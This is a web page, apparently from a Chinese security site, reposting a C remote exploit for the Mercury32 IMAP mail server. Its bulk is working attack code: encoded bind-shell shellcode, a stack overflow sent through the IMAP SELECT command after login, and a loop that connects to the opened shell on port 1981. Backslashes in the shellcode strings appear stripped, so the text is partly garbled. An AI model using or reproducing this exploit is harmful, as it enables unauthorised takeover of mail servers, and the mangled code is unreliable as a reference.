注册
登录
| 关键词： nbsp include xC Dx addr 96 69 char peer INET |
/** Remote Mercury32 Imap exploit ** By: JohnH at secnetops com ** ** Notes: First public release of code by me. Im sick of seeing non working exploits posted to FD/BUGTRAQ. ** *HINT**HINT* WHITEHAT.CO.IL. STOP CALC.EXE and show us some real skill. ** ** Date: 11/30/04 **/ #include <stdio.h> #include <unistd.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netinet/tcp.h> #include <arpa/inet.h> #include <netdb.h> #include <stdlib.h> #include <errno.h> #include <string.h> #include <assert.h> #include <fcntl.h> #include <sys/time.h> #define version "1.0" int usage(char *p); char sc_bind[] = //decoder "xEBx0Fx5Bx80x33x96x43x81x3Bx45x59x34x53x75xF4x74" "x05xE8xECxFFxFFxFF" //sc_bind_1981 for 2k/xp/2003 v1.03.10.09 by ey4s //XOR with 0x96 (267 0x10B bytes) "x7ExB2x96x96x96x22xEBx83x0Ex5DxD4xE1x2Ex4Ax4Bx8C" "xA5x7Fx2Dx55x38x50xBDx2BxB8x48xC1xE4x32xB2x24xA4" "x96x98xCBx5Dx48xE2xB4xF5x5ExC9xFCxA6xCDxF2x1Dx95" "x1DxD6x9Ax1DxE6x8Ax3Bx1DxFEx9ExFCx92xCFx7Ex12x96" "x96x96x74x6Fx23x95xBDx77xFExA5xA4x96x96xFExE1xE5" "xA4xC9xC2x69xC1x6Ex03xFCx93xCFx7ExF1x96x96x96x74" "x6Fx1Dx61xC7xFEx94x96x91x2Bx1Dx7AxC7xC7xC7xC7xFC" "x97xFCx94x69xC0x66x05xFCx86xC3xC5x69xC0x62xC6xC5" "x69xC0x6Ex1Dx6AxFCx98xCFx3Dx74x6BxC6xC6xC5x69xC0" "x6Ax3Dx3Dx3DxF0x51xD2xB2xBAx97x97x1Dx42xFExF5xFB" "xF2x96x1Dx5AxC5xC6xC1xC4xA5x4DxC5xC5xC5xFCx97xC5" "xC5xC7xC5x69xC0x76xFCx69x69xA1x69xC0x4Ax69xC0x7A" "x69xC0x7Ax69xC0x7ExC7x1DxE3xAAx1DxE2xB8xEEx95x63" "xC0x1DxE0xB6x95x63xA5x5FxDFxD7x3Bx95x53xA5x4DxA5" "x44x99x28x86xACx40xE2x9Ex57x5Dx8Dx95x4CxD6x7Dx79" "xADx89xE3x73xC8x1DxC8xB2x95x4BxF0x1Dx9AxDDx1DxC8" "x8Ax95x4Bx1Dx92x1Dx95x53x3DxCFx55" //decoder end sign "x45x59x34x53"; int iType; int iPort=143; char *ip=NULL; char username[256]; char password[256]; int main(int argc, char **argv) { int c; if(argc < 2) { usage(argv[0]); return 0; } while((c = getopt(argc, argv, "u:P:h:p:")) != EOF) { switch(c) { case 'u': strncpy(username, optarg, sizeof (username) - 1); break; case 'P': strncpy(password, optarg, sizeof (password) - 1); break; case 'h': ip=optarg; break; case 'p': iPort=atoi(optarg); break; default: usage (argv[0]); return 0; } } if((!ip)) { usage(argv[0]); printf("[-] Invalid parameter.n"); return 0; } SendExploit(); return 0; } /* ripped from TESO code */ void shell (int sock) { int l; char buf[512]; fd_set rfds; while (1) { FD_SET (0, &rfds); FD_SET (sock, &rfds); select (sock + 1, &rfds, NULL, NULL, NULL); if (FD_ISSET (0, &rfds)) { l = read (0, buf, sizeof (buf)); if (l <= 0) { printf("n - Connection closed by local usern"); exit (EXIT_FAILURE); } write (sock, buf, l); } if (FD_ISSET (sock, &rfds)) { l = read (sock, buf, sizeof (buf)); if (l == 0) { printf ("n - Connection closed by remote host.n"); exit (EXIT_FAILURE); } else if (l < 0) { printf ("n - Read failuren"); exit (EXIT_FAILURE); } write (1, buf, l); } } } int SendExploit() { struct hostent *he; struct in_addr in; struct sockaddr_in peer; int iErr, s,s2; int x; char buffer[9000]; char buffer2[9000]; char szRecvBuff[0x1000]; char *ip2=NULL; printf( "MERCURY32 Imap exploitn"); printf( "By: [email protected]"); printf("[+] Entering God Moden"); // Login memset(buffer2,0x0,sizeof(buffer2)); strcat(buffer2,"a001 LOGIN "); strcat(buffer2,username); strcat(buffer2," "); strcat(buffer2,password); strcat(buffer2,"n"); bzero (buffer,sizeof(buffer)); strcat(buffer,"a001 SELECT "); x = strlen(buffer); memset(buffer+x,0x41,260); x+=260; *(unsigned int *)&buffer[x] = 0x01f9c8fa; x+=4; memset(buffer+x,0x90,100); x+=100; memcpy (buffer+x, sc_bind, strlen(sc_bind)); x+=strlen(sc_bind); memcpy(buffer+x,"rn",2); x+=2; if (!(he = gethostbyname(ip))) { herror("Resolving host"); exit(EXIT_FAILURE); } in.s_addr = *((unsigned int *)he->h_addr); peer.sin_family = AF_INET; peer.sin_port = htons(iPort); peer.sin_addr.s_addr = inet_addr(ip); s = socket(AF_INET, SOCK_STREAM, 0); if (s < 0) { perror("socket"); return(0); } if (connect(s, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) { perror("connect"); return(0); } printf("[+] connect to %s:%d success.n", ip, iPort); sleep(3); memset(szRecvBuff, 0, sizeof(szRecvBuff)); iErr = send(s, buffer2, strlen(buffer2),0); printf("[+] Sent: %dn", iErr); iErr = send(s, buffer, x,0); printf("[+] Sent: %dn", iErr); printf("[+] Wait for shell.n"); if (!(he = gethostbyname(ip))) { herror("Resolving host"); exit(EXIT_FAILURE); } in.s_addr = *((unsigned int *)he->h_addr); ip2 = in.s_addr; sleep(5); peer.sin_family = AF_INET; peer.sin_port = htons(1981); peer.sin_addr.s_addr = ip2; s2 = socket(AF_INET, SOCK_STREAM, 0); if (s2 < 0) { perror("socket"); exit(EXIT_FAILURE); } if (connect(s2, (struct sockaddr *)&peer, sizeof(struct sockaddr_in)) < 0) { perror("connect"); return(0); } printf ("[+] We got a shell n"); shell(s2); return 0; } int usage(char *p) { printf("MERCURY32 Imap Remote Exploitn"); printf("By: [email protected]"); printf( "Usage: %s <-u username> <-p password> <-h host> <-p port>n",p); exit(0); } |
|
声明：文章版权归原作者所有 部分文章转自互联网 如有侵权请联系
[邮箱地址] 删除
|
